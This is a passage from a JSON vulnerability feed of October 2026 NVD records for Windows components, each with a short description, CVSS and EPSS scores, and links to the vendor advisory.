fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85836&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85836, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85826","cveId":"CVE-2026-85826","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Windows Fast FAT Driver allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds write in Windows Fast FAT Driver allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds write in Windows Fast FAT Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:07.777Z","updatedAt":"2026-10-16T19:51:33.357Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85826","asOf":"2026-10-16T19:51:33.357Z"},"epss":{"probability":0.00247,"percentile":0.15801,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85826&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85826","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85826","type":"primary","publishedAt":"2026-10-13T19:21:07.777Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85826","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85826&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85826, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85825","cveId":"CVE-2026-85825","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:07.597Z","updatedAt":"2026-10-16T19:52:40.753Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85825","asOf":"2026-10-16T19:52:40.753Z"},"epss":{"probability":0.00189,"percentile":0.0845,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85825&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85825","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85825","type":"primary","publishedAt":"2026-10-13T19:21:07.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85825","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85825&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85825, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85824","cveId":"CVE-2026-85824","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:07.460Z","updatedAt":"2026-10-16T19:53:44.250Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85824","asOf":"2026-10-16T19:53:44.250Z"},"epss":{"probability":0.00189,"percentile":0.0845,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85824&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85824","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85824","type":"primary","publishedAt":"2026-10-13T19:21:07.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85824","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85824&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85824, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85823","cveId":"CVE-2026-85823","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:07.330Z","updatedAt":"2026-10-16T19:54:25.660Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85823","asOf":"2026-10-16T19:54:25.660Z"},"epss":{"probability":0.00247,"percentile":0.158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85823&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85823","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85823","type":"primary","publishedAt":"2026-10-13T19:21:07.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85823","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85823&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85823, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85822","cveId":"CVE-2026-85822","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:07.150Z","updatedAt":"2026-10-16T19:55:19.653Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85822","asOf":"2026-10-16T19:55:19.653Z"},"epss":{"probability":0.00312,"percentile":0.23819,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85822&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85822","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85822","type":"primary","publishedAt":"2026-10-13T19:21:07.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85822","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85822&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85822, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85820","cveId":"CVE-2026-85820","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:06.800Z","updatedAt":"2026-10-16T19:56:50.390Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85820","asOf":"2026-10-16T19:56:50.390Z"},"epss":{"probability":0.00312,"percentile":0.23818,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85820&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85820","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85820","type":"primary","publishedAt":"2026-10-13T19:21:06.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85820","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85820&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85820, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85817","cveId":"CVE-2026-85817","aliases":[],"kind":"vulnerability","title":"Reliance on untrusted inputs in a security decision in Windows PowerShell allows an unauthorized attacker to execute code over a network.","summary":"Reliance on untrusted inputs in a security decision in Windows PowerShell allows an unauthorized attacker to execute code over a network.","detail":"Reliance on untrusted inputs in a security decision in Windows PowerShell allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:06.487Z","updatedAt":"2026-10-16T19:58:55.693Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85817","asOf":"2026-10-16T19:58:55.693Z"},"epss":{"probability":0.00723,"percentile":0.5372,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85817&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85817","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85817","type":"primary","publishedAt":"2026-10-13T19:21:06.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85817","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85817&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85817, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85811","cveId":"CVE-2026-85811","aliases":[],"kind":"vulnerability","title":"Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over an adjacent network.","summary":"Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over an adjacent network.","detail":"Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over an adjacent network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:05.660Z","updatedAt":"2026-10-16T19:36:42.217Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85811","asOf":"2026-10-16T19:36:42.217Z"},"epss":{"probability":0.00352,"percentile":0.28603,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85811&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85811","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85811","type":"primary","publishedAt":"2026-10-13T19:21:05.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85811","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85811&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85811, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85810","cveId":"CVE-2026-85810","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:05.477Z","updatedAt":"2026-10-16T19:37:55.743Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85810","asOf":"2026-10-16T19:37:55.743Z"},"epss":{"probability":0.00247,"percentile":0.15801,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85810&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85810","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85810","type":"primary","publishedAt":"2026-10-13T19:21:05.477Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85810","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85810&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85810, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85808","cveId":"CVE-2026-85808","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.","summary":"Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.","detail":"Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:05.110Z","updatedAt":"2026-10-16T19:39:48.367Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85808","asOf":"2026-10-16T19:39:48.367Z"},"epss":{"probability":0.01125,"percentile":0.66039,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85808&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85808","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85808","type":"primary","publishedAt":"2026-10-13T19:21:05.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85808","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85808&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85808, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85807","cveId":"CVE-2026-85807","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:04.950Z","updatedAt":"2026-10-16T19:40:49.573Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85807","asOf":"2026-10-16T19:40:49.573Z"},"epss":{"probability":0.00312,"percentile":0.23818,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85807&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85807","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85807","type":"primary","publishedAt":"2026-10-13T19:21:04.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85807","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85807&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85807, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85804","cveId":"CVE-2026-85804","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of 